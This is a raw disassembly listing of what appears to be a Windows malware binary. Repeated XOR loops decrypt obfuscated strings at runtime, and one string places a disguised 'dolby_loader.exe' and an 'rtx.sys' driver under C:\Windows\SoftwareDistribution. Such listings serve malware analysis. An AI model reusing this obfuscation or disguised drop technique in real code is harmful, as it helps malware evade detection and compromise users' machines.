movdqa xmm7, xmmword [0x140092dc0]
movd xmm8, r12d
movdqa xmm0, xmmword [0x140092e10]
movdqa xmmword [rsp + 0x30], xmm0
lea rcx, [rbp + 0xac]
mov edx, dword [rsp + 0x30]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140092df0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140092df0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x20
jl 0x140017731
cmp r8d, 0x25
jge 0x14001787f
movsxd rax, r8d
lea r9, [rbp + 0xa8]
add r9, rax
nop word [rax + rax]
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x25
jl 0x140017850
mov qword [rsp + 0x60], r14
mov qword [rsp + 0x70], r14
mov qword [rsp + 0x78], reloc.WS2_32.dll_ntohs
lea rax, [rbp + 0xa8]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], 0
jne 0x1400178a0
lea rdx, [rbp + 0xa8]
lea rcx, [rsp + 0x60]
call fcn.14001a780
lea rcx, [rsp + 0x60]
call fcn.140002850
movups xmm0, xmmword [0x140092068]
movups xmmword [rbp + 0x120], xmm0
movups xmm1, xmmword [0x140092078]
movups xmmword [rbp + 0x130], xmm1
mov eax, dword [0x140092088]
mov dword [rbp + 0x140], eax
movzx eax, word [0x14009208c]
mov word [rbp + 0x144], ax
mov r8d, r14d
cmp esi, 2
jl 0x140017a49
movdqa xmm5, xmmword [0x140092da0]
movdqa xmm4, xmmword [0x140092e00]
movd xmm6, r15d
movdqa xmm7, xmmword [0x140092dc0]
movd xmm8, r12d
movdqa xmm0, xmmword [0x140092e10]
movdqa xmmword [rsp + 0x30], xmm0
lea rcx, [rbp + 0x124]
mov edx, dword [rsp + 0x30]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140092df0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140092df0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x20
jl 0x140017942
cmp r8d, 0x26
jge 0x140017a8f
movsxd rax, r8d
lea r9, [rbp + 0x120]
add r9, rax
nop word [rax + rax]
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x26
jl 0x140017a60
mov qword [rsp + 0x60], r14
mov qword [rsp + 0x70], r14
mov qword [rsp + 0x78], reloc.WS2_32.dll_ntohs
lea rax, [rbp + 0x120]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], 0
jne 0x140017ab0
lea rdx, [rbp + 0x120]
lea rcx, [rsp + 0x60]
call fcn.14001a780
lea rcx, [rsp + 0x60]
call fcn.140002850
movups xmm0, xmmword [0x140091ec8]
movups xmmword [rbp + 0x170], xmm0
movups xmm1, xmmword [0x140091ed8]
movups xmmword [rbp + 0x180], xmm1
movzx eax, word [0x140091ee8]
mov word [rbp + 0x190], ax
mov r8d, r14d
cmp esi, 2
jl 0x140017c57
movdqa xmm5, xmmword [0x140092da0]
movdqa xmm4, xmmword [0x140092e00]
movd xmm6, r15d
movdqa xmm7, xmmword [0x140092dc0]
movd xmm8, r12d
movdqa xmm0, xmmword [0x140092e10]
movdqa xmmword [rsp + 0x30], xmm0
lea rcx, [rbp + 0x174]
mov edx, dword [rsp + 0x30]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140092df0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140092df0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x20
jl 0x140017b50
cmp r8d, 0x22
jge 0x140017c9f
movsxd rax, r8d
lea r9, [rbp + 0x170]
add r9, rax
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x22
jl 0x140017c70
mov qword [rsp + 0x60], r14
mov qword [rsp + 0x70], r14
mov qword [rsp + 0x78], reloc.WS2_32.dll_ntohs
lea rax, [rbp + 0x170]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], 0
jne 0x140017cc0
lea rdx, [rbp + 0x170]
lea rcx, [rsp + 0x60]
call fcn.14001a780
lea rcx, [rsp + 0x60]
call fcn.140002850
movups xmm0, xmmword [0x1400923a8]
movups xmmword [rbp + 0x50], xmm0
movsd xmm1, qword [0x1400923b8]
movsd qword [rbp + 0x60], xmm1
mov eax, dword [0x1400923c0]
mov dword [rbp + 0x68], eax
movzx eax, word [0x1400923c4]
mov word [rbp + 0x6c], ax
cmp byte [0x1400923c5], 0
je 0x140017eaf
mov r8d, r14d
cmp esi, 2
jl 0x140017e69
movdqa xmm5, xmmword [0x140092da0]
movdqa xmm4, xmmword [0x140092e00]
movd xmm6, r15d
movdqa xmm7, xmmword [0x140092dc0]
movd xmm8, r12d
movdqa xmm0, xmmword [0x140092e10]
movdqa xmmword [rsp + 0x30], xmm0
lea rcx, [rbp + 0x54]
mov edx, dword [rsp + 0x30]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140092df0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140092df0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x140017d62
cmp r8d, 0x1e
jge 0x140017eaf
movsxd rax, r8d
lea r9, [rbp + 0x50]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1e
jl 0x140017e80
mov qword [rsp + 0x60], r14
mov qword [rsp + 0x70], r14
mov qword [rsp + 0x78], reloc.WS2_32.dll_ntohs
lea rax, [rbp + 0x50]
mov r8, 0xffffffffffffffff
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140017ed0
lea rdx, [rbp + 0x50]
lea rcx, [rsp + 0x60]
call fcn.14001a780
lea rcx, [rsp + 0x60]
call fcn.140002850
movups xmm0, xmmword [0x1400928d8]
movups xmmword [rbp + 0x30], xmm0
movsd xmm1, qword [0x1400928e8]
movsd qword [rbp + 0x40], xmm1
mov eax, dword [0x1400928f0]
mov dword [rbp + 0x48], eax
movzx eax, word [0x1400928f4]
mov word [rbp + 0x4c], ax
movzx eax, byte [0x1400928f6]
mov byte [rbp + 0x4e], al
mov r8d, r14d
cmp esi, 2
jl 0x140018077
movdqa xmm5, xmmword [0x140092da0]
movdqa xmm4, xmmword [0x140092e00]
movd xmm6, r15d
movdqa xmm7, xmmword [0x140092dc0]
movd xmm8, r12d
movdqa xmm0, xmmword [0x140092e10]
movdqa xmmword [rsp + 0x30], xmm0
lea rcx, [rbp + 0x34]
mov edx, dword [rsp + 0x30]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140092df0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140092df0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x140017f70
cmp r8d, 0x1f
jge 0x1400180b0
movsxd rax, r8d
lea r9, [rbp + 0x30]
add r9, rax
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1f
jl 0x140018081
mov qword [rsp + 0x60], r14
mov qword [rsp + 0x70], r14
mov qword [rsp + 0x78], reloc.WS2_32.dll_ntohs
lea rax, [rbp + 0x30]
mov r8, 0xffffffffffffffff
nop
inc r8
cmp byte [rax + r8], 0
jne 0x1400180d0
lea rdx, [rbp + 0x30]
lea rcx, [rsp + 0x60]
call fcn.14001a780
lea rcx, [rsp + 0x60]
call fcn.140002850
movups xmm0, xmmword [str._TESPVW]
movups xmmword [rbp + 0x70], xmm0
movsd xmm1, qword [0x140092d68]
movsd qword [rbp + 0x80], xmm1
mov eax, dword [0x140092d70]
mov dword [rbp + 0x88], eax
movzx eax, word [0x140092d74]
mov word [rbp + 0x8c], ax
cmp byte [0x140092d75], 0
je 0x1400182c0
mov r8d, r14d
cmp esi, 2
jl 0x140018287
movdqa xmm5, xmmword [0x140092da0]
movdqa xmm4, xmmword [0x140092e00]
movd xmm6, r15d
movdqa xmm7, xmmword [0x140092dc0]
movd xmm8, r12d
movdqa xmm0, xmmword [0x140092e10]
movdqa xmmword [rsp + 0x30], xmm0
lea rcx, [rbp + 0x74]
mov edx, dword [rsp + 0x30]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140092df0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140092df0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x140018180
cmp r8d, 0x1e
jge 0x1400182c0
movsxd rax, r8d
lea r9, [rbp + 0x70]
add r9, rax
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1e
jl 0x140018291
mov qword [rsp + 0x60], r14
mov qword [rsp + 0x70], r14
mov qword [rsp + 0x78], reloc.WS2_32.dll_ntohs
lea rax, [rbp + 0x70]
mov r8, 0xffffffffffffffff
nop
inc r8
cmp byte [rax + r8], 0
jne 0x1400182e0
lea rdx, [rbp + 0x70]
lea rcx, [rsp + 0x60]
call fcn.14001a780
lea rcx, [rsp + 0x60]
call fcn.140002850
movups xmm0, xmmword [0x140092af8]
movups xmmword [rbp + 0x2f0], xmm0
movups xmm1, xmmword [0x140092b08]
movups xmmword [rbp + 0x300], xmm1
movups xmm0, xmmword [str.0::5_t649__N]
movups xmmword [rbp + 0x310], xmm0
movzx eax, byte [0x140092b28]
mov byte [rbp + 0x320], al
mov r8d, r14d
cmp esi, 2
jl 0x140018487
movdqa xmm5, xmmword [0x140092da0]
movdqa xmm4, xmmword [0x140092e00]
movd xmm6, r15d
movdqa xmm7, xmmword [0x140092dc0]
movd xmm8, r12d
movdqa xmm0, xmmword [0x140092e10]
movdqa xmmword [rsp + 0x30], xmm0
lea rcx, [rbp + 0x2f4]
mov edx, dword [rsp + 0x30]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140092df0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140092df0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x30
jl 0x140018380
cmp r8d, 0x31
jge 0x1400184cf
movsxd rax, r8d
lea r9, [rbp + 0x2f0]
add r9, rax
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x31
jl 0x1400184a0
mov qword [rbp + 0x450], r14
mov qword [rbp + 0x460], r14
mov qword [rbp + 0x468], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x450], 0
lea rax, [rbp + 0x2f0]
mov r8, 0xffffffffffffffff
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140018500
lea rdx, [rbp + 0x2f0]
lea rcx, [rbp + 0x450]
call fcn.14001a780
nop
mov r8d, 0x20800
lea rdx, [0x140128100]
lea rcx, [rbp + 0x450]
call fcn.140012970
nop
mov rdx, qword [rbp + 0x468]
cmp rdx, 0x10
jb 0x140018581
inc rdx
mov rcx, qword [rbp + 0x450]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001857c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001925e
call fcn.14007e7bc
movups xmm0, xmmword [0x140092000]
movups xmmword [rbp + 0x198], xmm0
movups xmm1, xmmword [0x140092010]
movups xmmword [rbp + 0x1a8], xmm1
movsd xmm0, qword [str.8:73v____]
movsd qword [rbp + 0x1b8], xmm0
movzx eax, byte [0x140092028]
mov byte [rbp + 0x1c0], al
mov r8d, r14d
cmp esi, 2
jl 0x140018708
movdqa xmm5, xmmword [0x140092da0]
movdqa xmm4, xmmword [0x140092e00]
movd xmm6, r15d
movdqa xmm7, xmmword [0x140092dc0]
movd xmm8, r12d
movdqa xmm0, xmmword [0x140092e10]
movdqa xmmword [rsp + 0x30], xmm0
lea rcx, [rbp + 0x19c]
mov edx, dword [rsp + 0x30]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140092df0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140092df0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x28
jl 0x140018601
cmp r8d, 0x29
jge 0x14001874f
movsxd rax, r8d
lea r9, [rbp + 0x198]
add r9, rax
nop word [rax + rax]
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x29
jl 0x140018720
mov qword [rbp + 0x450], r14
mov qword [rbp + 0x460], r14
mov qword [rbp + 0x468], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x450], 0
lea rax, [rbp + 0x198]
mov r8, 0xffffffffffffffff
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140018780
lea rdx, [rbp + 0x198]
lea rcx, [rbp + 0x450]
call fcn.14001a780
nop
mov r8d, reloc.WLDAP32.dll_Ordinal_60
lea rdx, str.cd_C:WindowsSoftwareDistribution_r_ndolby_loader.exe_rtx.sys
lea rcx, [rbp + 0x450]
call fcn.140012970
nop
mov rdx, qword [rbp + 0x468]
cmp rdx, 0x10
jb 0x140018801
inc rdx
mov rcx, qword [rbp + 0x450]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400187fc
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140019265
call fcn.14007e7bc
movups xmm0, xmmword [0x1400922e0]
movups xmmword [rbp + 0x1f8], xmm0
movups xmm1, xmmword [0x1400922f0]
movups xmmword [rbp + 0x208], xmm1
movsd xmm0, qword [str._.y____TESPVW]
movsd qword [rbp + 0x218], xmm0
mov r8d, r14d
cmp esi, 2
jl 0x140018984
movdqa xmm5, xmmword [0x140092da0]
mov edx, r14d
movdqa xmm4, xmmword [0x140092e00]
movd xmm6, r15d
movdqa xmm7, xmmword [0x140092dc0]
movd xmm8, r12d
movdqa xmm0, xmmword [0x140092e10]
movdqa xmmword [rsp + 0x30], xmm0
lea rcx, [rbp + 0x1fc]
mov r8d, dword [rsp + 0x30]
nop dword [rax + rax]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140092df0]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [rdx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140092df0]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x28
jl 0x140018880
jmp 0x1400189c2
lea r9, [rbp + 0x1f8]
nop dword [rax + rax]
mov eax, 0x29e4129f
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x37
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x28
jl 0x140018990
mov qword [rbp + 0x450], r14
mov qword [rbp + 0x460], r14
mov qword [rbp + 0x468], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x450], 0
lea rax, [rbp + 0x1f8]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], 0
jne 0x1400189f0
lea rdx, [rbp + 0x1f8]
lea rcx, [rbp + 0x450]
call fcn.14001a780
nop
mov r8d, 0x2000
lea rdx, [0x1401260c0]
lea rcx, [rbp + 0x450]
call fcn.140012970
nop
mov rdx, qword [rbp + 0x468]
